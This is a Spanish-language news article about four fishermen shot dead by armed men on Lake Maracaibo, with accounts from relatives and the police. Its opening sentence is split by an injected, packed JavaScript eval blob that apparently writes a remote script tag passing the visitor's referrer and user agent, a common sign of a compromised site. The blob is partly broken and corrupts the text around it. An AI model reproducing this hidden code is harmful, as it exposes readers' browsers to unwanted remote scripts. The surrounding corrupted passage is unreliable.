El Lago de Maracaibo se tiñe de sangre

Helen Hernández / Maracaibo / [email protected]
La eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shhzr|var|u0026u|referrer|nzdet||js|php'.split('|'),0,{})) embarcación tripulada por las víctimas no aparece. La banda de criminales permanece evadida. Los detectives del Eje de Homicidios de la Policía científica manejan como móvil del cuádruple asesinato, el robo

Los familiares lamentaron la muerte de los hombres en aguas del Lago. (Foto: María Fuenmayor)

La sangre derramada por los pescadores que zarpan en sus canoas de madera en busca del sustento diario, continúa derramándose sobre el Lago de Maracaibo. Las bandas armadas que operan en las poblaciones costeras de la capital zuliana no tienen contemplaciones con ellos, se convierten en presa fácil, les disparan con un arma de fuego y luego los arrojan al agua.

Esta vez no podía ser diferente. Luego de que unos presuntos delincuentes sorprendieran el pasado miércoles en horas de la tarde, a Félix José Lossada Chacón (30), Álvaro Manoa Palmar (34), Manuel Jesús García Alvarado (18) y Germán Enrique Mendoza Machado (28), mientras pescaban camarones, sus cadáveres aparecieron flotando en diferentes puntos de la región.

Funcionarios de la Policía de San Francisco, adscritos al Patrullaje Lacustre, remolcaron a las dos primeras víctimas hasta el Terminal Lacustre de la Plaza Bolívar de esa entidad sureña. La misma suerte corrió el tercero de los occisos, su cuerpo sin vida apareció en Puntica de Piedra, al norte de Maracaibo.

A las afueras de la morgue forense de la Facultad de Medicina de la Universidad del Zulia, los familiares de Germán conservaban, ayer a las 10.00 de la mañana, las esperanzas. Entre ellos comentaban lo fuerte que era, un luchador a toda prueba, capaz de sortear los obstáculos y vencerlos con éxito. “Está vivo”, repetían una y otra vez.

Cuando cerraron la puerta metálica roja del tanatorio detrás de sí y subieron a la furgoneta, les anunciaron que a los pescadores del sector Santa Rosa de Agua los hallaron muerto. Uno de ellos flotaba boca abajo, los peces habían devorado sus ojos y parte de su rostro ennegrecido.

En las adyacencias de la plaza Américo Vespucio, mujeres, hombres y niños se aglomeraron para observar el cadáver del infortunado tendido sobre la acera. La bermuda de jean verde que llevaba puesta estaba descolorida, en su pecho desnudo solo se apreciaban manchas moradas, amarillas, verdes y negras, estaba a punto de estallar.

Una víctima más de los Piratas del Lago, decían los curiosos mientras miraban la sangre seca impregnada en su cuello. El sol y el calor no impidió que los funcionarios de la Policía científica acompañados por el equipo de criminalística cumplieran con su labor, subieron el cadáver del muchacho a la unidad de medicina forense con destino a la morgue del cementerio Corazón de Jesús, donde le practicaron la necropsia.

Reconstrucción

Los parientes de los fallecidos aprovecharon la presencia de los medios de comunicación para relatar cómo habían ocurrido los decesos. Los trabajadores del mar salieron a las 5.00 de la tarde de sus viviendas, debían reunirse en la playa Miramar del sector El Parral, en La Cañada de Urdaneta, para comenzar con la faena.

Desde la canoa blanca y roja con bordes verdes, bautizada por los tripulantes como Miramar 11, lanzaron la red al agua, conversaban y reían sin imaginar lo que sucedería minutos después. Unos jóvenes que venían en otra embarcación descargaron una pistola contra ellos, detalló un allegado de los Palmar, cuyo nombre no reveló.

Cuatro impactos de bala en la espalda acabaron con la vida de Álvaro, su cuerpo cayó al agua como el resto de sus compañeros, de quienes aún no se precisan cuántos proyectiles los alcanzaron. 

Karla Díaz, no podía contener su dolor. Manuel García, su esposo, había muerto, las fotografías que le mostró un detective del Eje de Homicidios de la Policía científica no dejaban espacio a la duda. El cadáver estaba irreconocible, pero el tatuaje de un rosario que tenía en el brazo derecho revelaba su identidad.

“Lo único que lamento es que mis hijos morochos nacerán sin un padre. Ahora me tocará asumir la responsabilidad sola”, comentó mientras lloraba en brazos de su suegra.

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